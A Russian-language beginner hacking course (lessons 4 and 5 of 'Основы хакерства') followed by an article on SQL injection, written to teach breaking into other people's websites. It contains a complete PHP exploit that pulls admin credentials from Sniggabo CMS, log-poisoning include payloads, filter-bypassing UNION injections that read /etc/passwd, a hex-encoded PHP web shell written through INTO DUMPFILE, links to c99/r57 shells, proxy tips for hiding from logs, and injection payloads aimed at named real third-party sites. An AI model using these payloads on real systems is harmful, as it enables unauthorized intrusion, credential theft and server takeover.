Основы хакерства. Урок 4
[ Хакерство для новичков ]


Здравствуйте уважаемые посетители портала. Вы читаете 4 урок из серии «Основы хакерства». А вот что мы сегодня разберем:

Методы определения версии движка сайта/форума
ReversIP и полезные инструменты.
Разбираем сплоит.
Более углубленное знакомство с SQL injection php include
Прогулка по багтракам.


Методы определения версии движка
Вообще при анализе сайта, нужно сразу смотреть есть ли там паблик скрипты(т.е. не самописные)
Что бы найти и использовать эксплоит, нужно как минимум узнать имя и версию CMS, форума или каких либо других скриптов
расположенных на сайте (фотогаллереи, новостные ленты и т.п.).

Бывает, что данные крутятся в подвале сайта. Но обычно от туда их убирают.
Гораздо более эффективный вариант это посмотреть исходный код страницы.

Для танкистов: что бы просмотреть исходник страницы нужно нажать на правую кнопку мыши и
выбрать «Исходный код страницы», или что то вроде того (в зависимости от браузера).


Итак, в исходнике сначала смотрим на текст заключенные в комментарии ([!-- --])
Как думаю понятно, это текст на странице не отображается. Там как раз могут быть указаны имя версия CMS, иногда можно найти мы
администрации и прочие вкусности.
В исходнике также можно найти ссылки на каскадные листы стилей (.css). В них иногда тоже можно кое-что найти.
Да, еще можно преднамеренно вызвать ошибку. Т.е. попробовать открыть несуществующую папку на сайте (что-то типа
www.site.us/gone/), вполне возможно, что сайт выплюнет полезную инфу.
Ну думаю тут ясно. Теперь поговорим о форумах:
Обычно, что за форум определить несложно. Сложнее узнать версию.

В phpbb например есть очень интересный файлик - CHANGELOG.html
Его, возможно обнаружить по пути

forum/docs/CHANGELOG.html

Там можно обнаружить надпись вроде

phpBB x.x.x Changelog

В IPB 1.3 присутствуют файлы ssi.php
show.php
В В 2.0.*
/sources/help.php
/sources/usercp.php
В 2.1.*
/ips_kernel/PEAR/
Ну и к тому же опять же нужно смотреть на исходный код и на ошибки.
Кстати, еще стоит сказать, что доверять баннерам в подвале не стоит. Умный администратор поставить фальшивую подпись.

Reverse IP и полезные инструменты.
Бывает, что сайт написан на чистом HTML без применения скриптов. Казалось бы, взломать его почти невозможно. Но это не так.
Выход-Reverse IP. Суть этой атаки в том, что бы взломать сайт,
который хостится на одном сервере с целевым сайтом (если такой
имеется). Либо наша цель получить root(права администратора) на сервере.
Тогда мы ищем, какие сайты хостятся на сервере и пытаемся
взломать один из них.
Ну думаю, суть понятна. Другое дело как узнать какие сайты присутствует на сервере.
Для этого мы будем использовать сканнеры.
Например, я пользуюсь вот этим онлайн сканером от madnet –a

http://madnet.name/tools/madss/

Так же он составляет примерную структуру сайта.
Вот еще неплохой

http://security-digger.org/

Тоже присутствует возможность составлять структуру директорий сайта, а также reverse ip.

Допустим, забиваем адрес www.job.ru
Сканер выдает нам соседние сайты.
Если речь пошла про онлайн тулзы приведу еще одну:

http://x3k.ru/

Здесь есть куча всяких кодировщиков и декодеровщиков (пригодиться нам при инъекциях),
так же есть сканер портов Reverse IP
whois сервис и еще несколько.
Кстати, если вы пользуетесь браузером firefox, то можете установить плагин Reverse IP

А плагин LiveHTTPHeaders поможет редактировать HTTP заголовки.


Разбираем сплоит.
Для тестирования желательно иметь в наличии интерпретатор php. Кажется, на 2 уроке я
советовал поставить тебе mysql+apache+php. Если ты уже поставил это и у тебя все работает стабильно то ок. Если не ставил,
советую установить Denwer
Процесс установки прост до безобразия. В состав входит все, что нам нужно. Тем более на следующем уроке я хотел бы показать
анализ одной CMS, так что Денвер просто необходим.
Мудрить не будем, и возьмем простой сплоит для Sniggabo CMS:

Sniggabo-expl.php
14 июня, 2009
print_r('

################################################

Sniggabo CMS - Remote SQL Injection Exploit

Date: 11.06.2009
Vulnerability discovered by: Lidloses_Auge
Exploit coded by: Lidloses_Auge
Homepage: http://www.novusec.com
Greetz to: -=Player=- , Suicide, enco,
Palme, GPM, karamble, Free-Hack

Admin Panel: [target]/admin/login.php
Dork: "powered by Sniggabo CMS" inurl:article.php?id
Use: php '.$argv[0].' http://www.site.com

################################################

');
$url = "$argv[1]/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a)
+from+users--";
$src = file_get_contents($url);
$data = split("::",$src);
echo "Admin: $data[1]nPassword: $data[2]n";
?>
Во-первых обратим внимания на эту строку:

Use: php '.$argv[0].' http://www.site.com

В ней показано, как нужно использовать этот эксплоит.
Как видишь запускать его нужно из командно строки. В качестве параметра передаем сайт.
Далее сам код:

В 1 2 3 строке мы составляем url
$argv[1] – сайт, который мы передали в качестве параметра.
/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a)+from+users--"; - собственно сам процесс получения логина и пароля.

Далее
$src = file_get_contents($url);
Обращаемся по составленному адресу и записываем результат в переменную $src
$data = split("::",$src);
Разделяем полученный результат по ключевой строке “::”
echo "Admin: $data[1]nPassword: $data[2]n";

Выводим.
Если мы будем раскручивать уязвимость вручную, то результат будет таким:
Login::password
В сплоите как раз по строке :: мы делим результат. В переменной первый элемент будет login а второй password.

Local PHP include и выполнение произвольного кода.
Сейчас мы поговорим, как через локальный инклуд мы сможем выполнить произвольный код.
Как ты помнишь с помощью этой уязвимости мы можем читать файлы на сервер. Так вот, значит мы сможем прочитать логи веб сервера. В логах сохраняются все запросы. Нас интересуют
httpd-access.log и httpd-error.log.
Суть в то, что бы подделать HTTP заголовок записан в поле User-Agent (например) php код. Далее это код запишется в логи, а логии мы можем загружать. Вот тебе и выполнение кода.
Во-первых как подделывать заголовки. Выше я приводил удобный плагин LiveHTTPHeaders. Если вы не пользуетесь Фоксом можно скачать программу InetCrack.
Итак, давайте попробуем забить в поле Referer такой код:



Все код записан в httpd-access.log. Теперь нужно с помощью инклуда подгрузить его.
Тут придется перебирать пути до логов.

Вот стандартные http://forum.hackzona.ru/forum-f8/thread-t13002.html

Ну допустим путь оказался таким:

../../../../../../etc/apache2/httpd.conf www.include.us/index.php?page= ../../../../../../etc/apache2/httpd.conf&cmd=ls

И мы получим листинг файлов текущей директории (ls).
Только учти, выполняется только тот код, который стоит первым в логах. Т.е. у нас будет только одна попытка, а потом по новой.

SQL injection.
Особенности 5 версии mysql
Что такое magic quotes
Как можно читать файлы с помощью инъекций.

До этого мы разбирали инъекции в mysql <5
В 5 версии есть кое-какие особенности.
Ну значит, с помощью команды version() мы узнали, что база данных версии 5 (or <)
В ней присутствует таблица INFORMATION_SCHEMA, в ней находятся таблицы и колонки базы. Она избавит нас от ручного подбора.
Реализация

www.site.us/index.php?id=1’
www.site.us/index.php?id=1,table_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.TABLES/*
И так тут либо мы увидим все таблицы базы либо только первую.
Если второе, то прочитать остальные имена можно с помощью limit:

www.site.us/index.php?id=+union+select+1,table_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.TABLES
+limit1,2/*

Читаем 2 запись.
Так, допустим нашли таблицу.
Теперь смотрим поля:

www.site.us/index.php?id=1+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS/*

Опять же просмотр конкретных записей:

www.site.us/index.php?id=+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS+limit 1,2/*

Ну и ищем поля типа password или login

Теперь поговорим про магические кавычки (magic quotes)
это процесс, который позволяет автоматически экранировать входные данные PHP скрипта.
Если magic quotes=on (активны), то входящие одиночные и двойные кавычки, левый слеш и NULL знаки экранируются левыми слешами.
Волшебные кавычки бывают:

magic_quotes_gpc – проверяет запросы HTTP (GET, POST, и COOKIE)
magic_quotes_runtime – функции, которые возвращают данные из внешних источников будут экранироваться левыми слешами.
magic_quotes_sybase – одиночные кавычки экранируются двойными
Надеюсь понятно, что если magic_quotes = on нам это очень не на руку.

Скоро я расскажу, как это обходить.
А теперь как можно прочитать файл с помощью инъекции.
Т.е. мы получим тот же локальный php include
Ну допустим, есть инъект:

www.site.us/index.php?id=+union+select+1,2,3,4,5,6,7,8,9,10/*

Читабельно поле 2.
Загружать файлы можно так:

www.site.us/index.php?id=+union+select+1,LOAD_FILE(‘/etc/passwd’),4,5,6,7,8,9,10/*

Прогулка по багтракам. В этом топе я решил разбирать интересные (ну вообще какие будут) уязвимости с багтраков. Вообще я часто уже говорил, что чтение багтрак лент
идет только на пользу. Пожалуй приведу несколько:

Русскоязычные:
bugtraq.ru/
securitylab.ru/
securityvulns.ru/

Остальные:
milw0rm.com
packetstormsecurity.org
securityfocus.com


Приложение: Во-первых, как вы заметили я опустил раздел xss. На данном этапе пока не знаю что вам рассказывать, поэтому просто дам ссылку на интересную
статьюhttp://forum.antichat.ru/thread8038.html
Во вторых несколько ссылок на веб шеллы:

c99shellhttp://eraserevil.pp.net.ua/_ld/0/87_SiJ.txt
AK-74 http://stranger.nextmail.ru/userban.txt
r57shell http://www.securitylab.ru/software/234092.php
Далее советую прочитать недавнюю статью kerny PHP – Include, и немного удачи.
ps не забываем что уголковые теги заменены на [ and ]

Основы хакерства. Урок 5
[ Хакерство для новичков ]


Вступление.
Привет. Вот и пришло время 5 урока «Основ хакерства».
В этой части я хотел бы уделить внимание нашей безопасности.
Наверное это нужно было разобрать немного раньше. Ведь данный аспект является очень важным.
Так же в этом уроке я начну повествовать об анализе php движков.
Еще мы разберем такую тему, как DoS/DDoS. Напоследок дебютирует новый топик «Прогулка по багтракам»

Cоntent:

Безопасность при взломе.

Установка движка и азы анализа

DoS и DDOS общие принципы.

Sql injection

Прогулка по багтракам.



Безопасность при взломе.
Это действительно важно.
Если администратор сайта обнаружит твой реальный ip адрес,
он без проблем сможет сообщить о проникновении твоему провайдеру.
А дальше как повезет.
Итак, сначала стоит разобрать, как сохраняются твои данные.
Логи ведет веб сервер. Он записывает фактически все телодвижение пользователей.
Вот например если в логах будет замечена такая строка:


65.234.112.11- - [13/Jan/2019:14:23:57 +0300] "GET /scripts/photo?id=1’ " 404 - "-" "-"


Сразу станет ясно что пользователь с адресом 65.234.112.11 пытался проверить параметр id на инъекцию.
Вообще нам важны логи ошибок (ErrorLog) и основные логи.
В ErrorLog хранятся данные ошибочных запросов. В httpd.conf(файл конфигурации веб сервера)
путь к ним можно найти по директиве ErrorLog.
В основном логе находятся все запросы к серверу. Его можно найти по директиве CustomLog.
Ну что ж более или менее понятно.
По сути наша задача это подменить айпи адрес. Ведь именно он нас палит.
Как факт изменить свой ip нельзя. Но! Его можно скрыть или ПОДменить.
Каким образом? С помощью прокси серверa.

Прокси-сервер (от англ. proxy — «представитель, уполномоченный») — служба в компьютерных сетях,
позволяющая клиентам выполнять косвенные запросы к другим сетевым службам

Проще говоря, мы сначала будем подключаться к прокси серверу и уже от туда делать запросы к жертве.
Естественно в логах целевого сайта будет светится айпи прокси сервера. Так то. Теперь по порядку:
Бывают паблик (публичные) прокси.
Бывают приватные прокси (только для избранных).
Как думаю ясно первые можно легко найти в сети. Со вторыми сложнее. Если хочешь приобрести такие нужно платить.
Собственно в чем разница то? Паблик прокси медленные, т.к. их юзает куча народу.
Приватные более быстрые. Вот собственно и все.
Вот несколько источников бесплатных прокси северов:

www.checker.freeproxy.ru/checker/last_checked_proxies.php
www.madnet.name/tools/proxy/
www.proxylife.org/proxy/

Ах да… забыли о главном – как же их использовать?
Натягивать их нужно на свой браузер. Разберем на примере троих:

InternetExplorer

Opera

FireFox



InernetExplorer:
Нажмите кнопку Сервис и выберите пункт Свойства обозревателя.
На вкладке Подключения щелкните Настройка LAN.
Установите флажок Использовать прокси-сервер для локальной сети.
В поле Адрес введите адрес прокси-сервера.
В поле Порт введите номер порта.


Opera:
Выбираем: инструменты настройки
Вкладка дополнительно
Пункт сеть
Кнопка прокси серверы
Указываем на галочку HTTP и вводим прокси и порт.


FireFox
Инструменты – настройки
Вкладка дополнительно
Настроить
Ручная нстройка сервера прокси



Ну, на этом пока все. В будущем расскажу про анонимайзеры и цепочки прокси.

Установка и анализ движка.
Незаменимым атрибутом веб хакера является умения анализировать и находить ошибки в php скриптах.
Учиться этому мы начнем уже с этого урока.
Итак, сначала нужно подготовить платформу для тестирования.
Кажется, в прошлой статье я упоминал, что мы будем работать с Денвером.
Денвер это набор дистрибутивов (Apache, PHP, MySQL, Perl и т.д.) и программная оболочка.
Все дело в том, что для его установки не нужно производить практически не каких телодвижений
(в отличии от отдельной установки php apche mysql), но зато теряется гибкость.
Итак, вам нужно скачать denwer и установить его.
Платформу можно считать готовой На примере wordpress 2.3
я покажу, как установить движок.

Итак, после скачивания нужно создать в папке home (Денвера) директорию bugsite11.us
Далее распаковать в эту папку скачанный пакет.
Теперь необходимо создать базу данных. Для этого нужно зайти в phpmyadmin.
Если Денвер запущен, пройдите по этому пути

http://localhost/Tools/phpmyadmin/index.php
Далее в поле «Создать новую базу данных» введите wordpress и нажмите создать. Все.
Теперь переходи по адресу bugsite11.us. Если все было сделано правильно вы увидите главную страницу инсталлятора wordpress.
Пройдите несколько шагов. Когда потребуется ввести данные в поле база данных нужно ввести wordpress в поле пользователь – root, поле пароля оставляем пустым. Сервер – localhost. Все. Теперь можете перейти по адресу bugsite11.us и вы увидите готовенький для
тестинга сайт на локалхосте.
Как видите установить двиг не сложно. Теперь по делу.
Сейчас я поведаю чисто поверхностную информацию об анализе скриптов.

Во-первых - прежде чем изучать код скрипта нужно проверить его в работе. Собственно для этого мы и ставили denwer.

Во вторых – чуть ли не ключевым аспектом при поиске уязвимостей является понимание структуры CMS (или что там мы ставили).
Разбираться лучше всего от начальной страницы (почти всегда index.php). В ней часто выполняются подключение, каких то модулей.
И так по порядку нужно изучать работу скриптов. Кстати, в изучении вам может помочь документация к скрипту.
Если таковая отсутствует можно поискать в Интернете какую либо информацию.

В-третьих – очень часто придется производить поиск по исходному коду. Так что желательно обзавестись
нормальным текстовым редактором. Я предлагаю Notepad++.

Ну и в четвертых нужно обязательно заглядывать на сайт разработчика. Там можно найти доки, информацию
об уязвимостях в предыдущих версиях и вообще много полезной информации.


На этом я закончу. Хочу что бы вы потренировались в установке движков на localhost. В следующем уроке мы
потихоньку начнем разбирать основные ошибки php программистов.

DoS и DDOS общие принципы.
Бывает, что нужный нам сайт недоступен. Браузер говорит нам, что сервер не отвечает.
Это может происходить вследствие DDOS атаки на сервер.
Немного понятий:

DoS - Denial of Service – отказ от обслуживания. На самом деле это не атака, а результат атаки.
По сути DoS происходит из-за ошибок в программном коде либо недостаточной проверки входных данных.
Например, на сервере висит FTP демон. Входные данные от пользователя (например логин) не проверяются
на правильность. Т.е. пользователь может ввести любое кол во символов. Довольно типичная ошибка.

Вот например еще уязвимость в SolarWinds TFTP Server 9.2.0.111
www.securitylab.ru/vulnerability/384458.php
Ошибка может возникнуть при обработке при обработке TFTP пакетов.

Кстати есть довольно известный способ как можно «подвесить» сайт с помощью sql injection:

http://www.example.com/index.php?id=1+BENCHMARK(100000, BENCHMARK(10000, NOW()))

Функция BENCHMARK повторяет действия указанное во втором аргументе количество раз указанное в аргументе параметре.
Функция NOW() показывает текущее время. Т.е. можно прикинуть, как мы загрузим сервер.
Вместо now можно подставить функцию вроде md5().

DDoS – очень часто путают с DoS. Тут расклад немного другой. Смысл этой атаки именно
в «затапливании» сервера огромным количеством запросом, до тех пор, пока сервер не исчерпает свои ресурсы закончиться память
Как ясно с одного компьютера такое не сделаешь. Именно поэтому хакеры составляют ботнет с которого они могут топить сервер запросами.
Ботнет это энное количество компютеров с установленной троянской программой, через которую взломщик может контролировать каждый компьютер.
Ну вот. Если тебя заинтересовала эта тема, могу подкинуть несколько статеек:
www.internet-technologies.ru/articles/article_436.html
www.cyberguru.ru/networks/network-security/botnet-page7.html
www.fssr.ru/hz.php?name=News&file=article&sid=9384


SQL injection

Обход magis_quert

concat_ws и удобный вывод.


На прошлом уроке мы говорили о такой вещи как магические кавычки. Я в общем рассказал что это.
Сейчас мы разберем как можно обойти эти самые кавычки.

Во-первых, можно использовать функцию char. Эта функция преобразовывает ASCII (аск) код в символы.
ASCII код это код символа. У каждого символа есть свой код. Например, у символа одинарной кавычки код 27.
Таблицу кодов можно найти здесь
Итак, функция char преобразовывает эти коды в символы, т.е. например:
Char(27,27)
Вернет нам две одинарные кавычки.
Кстати зная коды символов можно сделать так:

Зажать клавишу alt и набрать 0 и код символа.
Например, alt+077 выведет нам букву M.
Так же можно выводить некоторые специфические знаки вроде знака копирайта – alt+0169)

Вернемся к нашим скулям:

www.site.us/index.php?id=+union+select+1,LOAD_FILE(‘/etc/passwd’),4,5,6,7,8,9,10/*

Если ты забыл, то мы пытаемся загрузить файл /etc/passwd (файл со списком аккаунтов)
Часто кавычки режутся. А что если сделать так:

www.site.us/index.php?id=+union+select+1,LOAD_FILE(char(27,47,101,116,99,47,112,97,115,119,100)),
4,5,6,7,8,9,10/*

Кавычки закодированы, значит все ок.
Еще можно обойти фильтрация путем замены исходной строки аналогичной ей, только в хекс(hex) варианте (в шестнадцатеричном варианте).
Причем перед строкой нужно подставить знак 0x. Смотрим на примере:
Берем исходную строку '/etc/passwd'. Опять же идем на сайт www.x3k.ru выбираем раздел SQL Hex и вписываем строку
На выходе 0x5c272f6574632f7061737377645c27
В нашем примере это будет так:

www.site.us/index.php?id=+union+select+1,LOAD_FILE(0x5c272f6574632f7061737377645c27),4,5,6,7,8,9,10/*

concat_ws.
Для лучшего понимания возьмем реальный пример:

http://www.photoworld.kz/index.php?mod=photos&cathid=-25+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,
32,33,34,35,36+from+auth--+
Видим, что только одно читабельное поле – 2. Скажу наперед, что поле логина – login, а пароля – pwd.
Итак, наша задача скомбинировать эти два поля и вывести в удобном виде. Делается это с помощью функции concat_ws:

concat_ws(0x3a,login,pwd)

Первый аргумент это разделитель между полями. 0x3a записан в sql hex, в ASCII это будет : (знак двоеточия), т.е. вывод произойдет такой:

Login:pwd

Вот еще пример:

concat_ws(0x2d,login,pwd)
0x2d означает тире (-)

Login-pwd
А вот как это будет выглядеть в нашем случае:

http://www.photoworld.kz/index.php?mod=photos&cathid=-25+union+select+1,concat_ws(0x3a,login,pwd),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,
22,23,24,25,26,27,28,29,30,31,32,33,34,35,36+from+auth--+
По сути, польза не большая, но так удобней и изящней. Мы ж эстеты =)
Так с этим ясно. Что дальше? В следующем уроке я расскажу о записи файлов с помощью инжектов.
И наверное, на этом покончу повествования об основах. Т.к. далее продолжать бессмысленно. В Интернете очень много статей об этом,
а азы вы уже знаете. В уроках я буду рассказывать о каких то нестандартных ситуациях, более подробно о языке mysql и тому подобные вещи.
А сейчас продолжаем...

Прогулка по багтракам.
Еще немного об этом топике:
Суть в том, что я буду выкладывать некоторые интересные уязвимости с багтраков.
Так сказать примеры нахождения уязвимостей. Что это даст? Самое главное это понимание сути проблемы. Начнемсс...

Уязвимость CMS Bitweaver 2.6
www.securitylab.ru/vulnerability/380079.php
Итак, уязвимость найдена в CMS Bitweaver 2.6.
Бага позволяет нам создавать произвольные файлы в системе.
посмотрев сплоит, понимаем что:
Уязвимость присутствует в сценарии boards_rss.php - строка 102:

...
echo $rss->saveFeed( $rss_version_name, $cacheFile );


В этом куске функция saveFeed вызывается небезопасно.
Аргументы не проверяются и могут содержать символы обхода каталога ../(см урок 3)
Данные получаются так:

Переменная=$_REQUEST['version']


Теперь посмотрим собственно на саму функцию saveFeed в /RSS/ feedcreator.class.php

...
function saveFeed($filename="", $displayContents=true) {
if ($filename=="") {
$filename = $this->_generateFilename();
}
if ( !is_dir( dirname( $filename ))) {
mkdir( dirname( $filename ));// создаем каталог
}
$feedFile = fopen($filename, "w+"); // открываем файл для записи (w+)
if ($feedFile) {
fputs($feedFile,$this->createFeed()); пишем в файл информацию
fclose($feedFile);// закрываем файл
if ($displayContents) {
$this->_redirect($filename);
}
} else {
echo "
Error creating feed file, please check write permissions.
";
}
}

}
...
Тут попросту происходит сохранение файла.
Постараюсь объяснить функции, приведенные в этом коде:
dirname – возвращает каталог из указанного пути. Например, есть путь /home/hockfuke/text.c
Функция вернет /home/hockfuke/
is_dir – проверяет является ли файл каталогом.
Mkdir – создает каталог
Fopen – открывает файл
Fputs – пишет в файл.

Теперь собственно сам пример использования:

http://sitename/path/boards/boards_rss.php?version=/../../../../bookoo.php%00

С NULL байтом вы уже знакомы, он обрубает остальную часть запроса.
Параметр version мы как раз получали с помощью $_REQUEST.
Собственно ясно, что будет создать файл heck.php. Функция сохранения файлa была приведена выше.
Как помним наш подопытный это rss скрипт. Созданный файл будет таким:

[?xml version="1.0" encoding="UTF-8"?]
[!-- generator="FeedCreator 1.7.2" --]
[?xml-stylesheet href="http://www.w3.org/2000/08/w3c-synd/style.css" type="text/css"?]
[rss version="0.91"]
[channel]
[title> Feed[/title]
[description][/description]
[link]http://192.168.0.1[/link]
[lastBuildDate]Sat, 09 Sep 2009 20:01:44 +0100[/lastBuildDate]
[generator]FeedCreator 1.7.2[/generator]
[language]en-us[/language]
[/channel]
[/rss]
[/code]

Собственно нам то нужно выполнить код. Вот что заметили багоискатели:
Для выполнения кода можно создать учетную запись на сайте и в Display Name (ну имя) вписать код:

[?php system("ls –al");?]

system выполняет команду в системе.
Теперь делаем так:

http://host/path_to_bitweaver/boards/boards_rss.php?version=/../../../../bookoo_ii.php%00&U=юзернэйм&P=пароль

На сервере появится тот же файл но уже вместо [title] Feed [/ TITLE] будет [title] Feed ([?php system("ls –al");?>[/TITLE].

Подведем маленький итог. Ошибка заключался опять же в отсутствии фильтрации.
Из-за чего можно у нас появилась возможность создать собственный файл и выполнить в нем код. Т.к. displayname тоже не проверялось.

Конец.
Ну вот подошел к концу 5 урок.
Сегодня я приводил много исходных кодов. Хочу, что бы вы поняли, что это основа.
И уметь программировать просто необходимо.
Что дальше? Думаю, на следующем уроке мы продолжим знакомиться с анализом движков.
Так же я расскажу еще кое-что о твоей безопасности. На этом все.
Все уголковые скобки заменены на [ and ]

В гостях у админа. Ищем нестандартные лазейки.
[ Личный опыт ]


Хочу поделиться с вами небольшими хитростями при проведении SQL инъекций. Делать будем всё сами, ручками. Что нам понадобится?! 

[*]Apache Server
[*]Установленный PHP
[*]MySQL Server
[*]phpMyAdmin
[*]Ну и естественно прямые руки, куда же без них?!

Ну, можно начинать я полагаю. Ну, теперь будем создавать свой мего-сайтенг, его то мы и будем ломать. Создаём новый домен test.ru у себя на локалхосте. Создаём 2 файлика, один index.html, другой users.php. Содержимое index.html:

-----------------------------------------------------------------------------------------------------
<_html_>
<_head_>
<_title_>Мего-сайтенГГ<_/title_>
<_/head_>
<_body_>
<_center_> Мего-сайтенГГ

<_a href='http://test.ru/users.php?id=1'>Участники 1<_/a>
// думаю тут
всё ясно, мы переходим по линку, скрипту news.php передаётся параметр id,
который в свою очередь будет первичным ключом (идентификатор)
для вывода информации о нужном нам юзере из базы данных
---------------

<_a href='http://test.ru/users.php?id=2'>Участники 2<_/a>
// аналогично,
выводим пользователя с идентификатором равным двум
---------------

<_a href='http://test.ru/users.php?id=3'>Участники 3<_/a>
// надеюсь тут
сами разберётесь xDD
<_/body_>
<_/html_>
-----------------------------------------------------------------------------------------------------

Страница набросана для наглядности, ведь нам важен сам принцип, а не эстетические соображения! Содержимое users.php:

-----------------------------------------------------------------------------------------------------
mysql_connect('localhost','root','');
mysql_select_db('dvwa');
$id=$_GET["id"];
$sql = "SELECT first_name,user,password FROM users where user_id=".$id;
$result = MySQL_QUERY($sql);
echo mysql_error();
while($us = MySQL_FETCH_ARRAY($result))
{
echo $us['first_name'].":".$us['user'].":".$us['password'];echo "
";
}
?>
-----------------------------------------------------------------------------------------------------

Скрипт так же накидал для наглядности на примере своей БД. Вкратце, опишу принцип действия, скрипт делает выборку из БД, из таблицы users по заданному id. Ну что ж, всё необходимое у нас есть, приступаем. Заходим на индэкс нашего сайта test.ru, чекаем по любой из линок. Видим наш запросик в адресной строке: _ttp://test.ru/users.php?id=1. Идём дальше. Банальные скули, мы сегодня рассматривать не будем. Рассмотрим следующую ситуацию, иногда бывает, что количество столбцов в основном запросе и не основном не совпадает, в результате чего мы лишаемся, возможности лицезреть вывод, так как при попытке объединить запросы оператором union+select мускул выдаёт соответствующую ошибку: MySQL ERROR: The used SELECT statements have a different number of columns. Казалось бы, очень печальное стечение обстоятельств, вроде и скулю на руках имеем, а ничего толкового сделать не можем, но это только на первый взгляд, давайте осмотримся и подумаем. При определённых условиях вывод получить тут не так уж и сложно. Ну, давайте, пожалуй, с самого начала. Первое что приходит на ум это blind SQL, да блайнд прокатит и благо есть проги для автоматизации процесса посимвольного перебора, но опять же при больших объёмах БД это займёт уйму времени, которого нам и без того постоянно не хватает. Да и потом если на сервере стоит ограничение на количество запросов с одного IP адреса?! Идея дальнейшего исследования: а что если сделать вывод в файл?! Да идея не плоха, но опять же нужно соблюдение некоторых условий, а конкретно:

File_priv = Y
magic_quotes_gpc = Off

Если у вас magic_quotes_gpc установлено значение On, то бегом бежим и правим php.ini. Ну, теперь у нас есть всё необходимое, приступаем.

_ttp://test.ru/users.php?id=1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:/home/test.ru/www/users.php on line 8

На лицо инъекция, что не удивительно, ведь мы в скрипте ничего не фильтровали. Подберём количество полей. Сделаем это одним запросом, способом предложенным Iceangel_:

_ttp://test.ru/users.php?id=1 order by 1,2,3,4,5,6,7,8,9

Unknown column '4' in 'order clause'
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:/home/test.ru/www/users.php on line 8

Делаем вывод, что полей 3. Ну и объединяем соответственно запросы:

_ttp://test.ru/users.php?id=-1 union select 1,2,3

Видим принтабельные поля: 1:2:3. О них можно забыть :) учитываю ситуацию, которую мы обыгрываем. Давайте-ка лучше сделаем вывод в файл. Тут сразу возникает вопрос, где же взять папку доступную на запись?! В принципе пути у нас есть и не составит труда методом научного тыка найти нужную нам, но ведь может и так оказаться, что не одна из них не окажется доступной на запись, поэтому вспоминаем про /tmp диру (дира для хранения временных файлов), так как чаще всего она доступна на запись, бывает, конечно же, и наоборот, но это редкость. Принцип ясен, действуем:

_ttp://test.ru/users.php?id=-1 union select 1,version(),3 into outfile '/tmp/lol.txt'

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:/home/test.ru/www/users.php on line 8

Ошибку видим, но запрос выполнился, кстати, чуть не забыл, принтабельные нам в данной ситуации не нужны вовсе, так как в файло записываются все поля. Теперь считываем вывод:

_ttp://test.ru/users.php?id=-1 union select load_file('/tmp/lol.txt'),2,3

1 5.0.45-community-nt 3 :2:3 – пятая ветка, думаю сам принцип ясен, кстати при наличии таких условий залить шелл, как 2 пальца об асфальт! Что нам мешает найти диру доступную на запись и залить туда полноценный шелл?! Давайте попробуем:

_ttp://test.ru/users.php?id=-1 union select '',2,3 into dumpfile 'Z:/home/test.ru/www/shell.php'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '']); ?>',2,3 into dumpfile 'Z:/home/test.ru/www/shell.php'' at line 1
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:/home/test.ru/www/users.php on line 8

Ошибка, но не смертельно :) Захексим: и получаем: 0x3c3f7068702073797374656d28245f4745545b5c27636d645c275d293b203f3e. Составляем запрос:

_ttp://test.ru/users.php?id=-1 union select 0x3c3f7068702073797374656d28245f4745545b5c27636d645c275d293b203f3e,2,3 into dumpfile 'Z:/home/test.ru/www/shell.php'

Всё наш шелл залился, юзаем на здоровье:

_ttp://test.ru/shell.php?cmd=dir

Видим листинг папки, всё прошло на ура. Реальный пример с такого рода проблемой:

_ttp://spotters.net.ua/file/?id=5'

MySQL ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
SQL: select *, COALESCE(rating, 2.0, rating) + Views*0.001 as WeightedRating from files where ID=5'

_ttp://www.scilib.debryansk.ru/project.php?id=920'

ERROR=>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
SELECT * FROM particle where particleid=920'

Кому будет интересно, покопает на досуге. Сразу видно из вывода об ошибке, что в обоих случаях magic_quotes_gpc = ON, что не позволит нам сделать вывод в файл, примеры привел чисто для наглядности, чтобы представляли, как обстоит ситуация. Следующий вопрос, который мы обсудим, какую же конструкцию лучше использовать при выводе в файл INTO OUTFILE или всё же INTO DUMP FILE. Посоветовавшись со Scipio по данному вопросу (он порекомендовал мне использовать конструкцию INTO DUMPFILE, аргументируя это тем, что данная конструкция нужна для того, чтобы убрать конфликт win и *nix), я решил, что всё же лучше использовать для этих целей INTO DUMPFILE, но в процессе тестирования на локалхосте я столкнулся некоторой проблемой при использовании этой конструкции. INTO DUMPFILE не позволяет выводить в файл более чем одну запись, иначе мускул начинает ругаться и как итог файл вообще не создаётся в дире. Немного поясню. В нашем случае такой запрос не прокатит:

_ttp://test.ru/users.php?id=1 union select 1,2,concat_ws(0x3a3a3a,user,password) from dvwa.users INTO DUMPFILE '/tmp/1.txt'

Result consisted of more than one row
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:/home/test.ru/www/users.php on line 8

Зато такой запрос проскочит на ура:

_ttp://test.ru/users.php?id=1 union select 1,2,concat_ws(0x3a3a3a,user,password) from dvwa.users LIMIT 1 OFFSET 1 INTO DUMPFILE '/tmp/1.txt'

Глянем, что у нас там получилось:

_ttp://test.ru/users.php?id=-1 union select load_file('/tmp/1.txt'),2,3

12admin:5f4dcc3b5aa765d61d8327deb882cf99:2:3

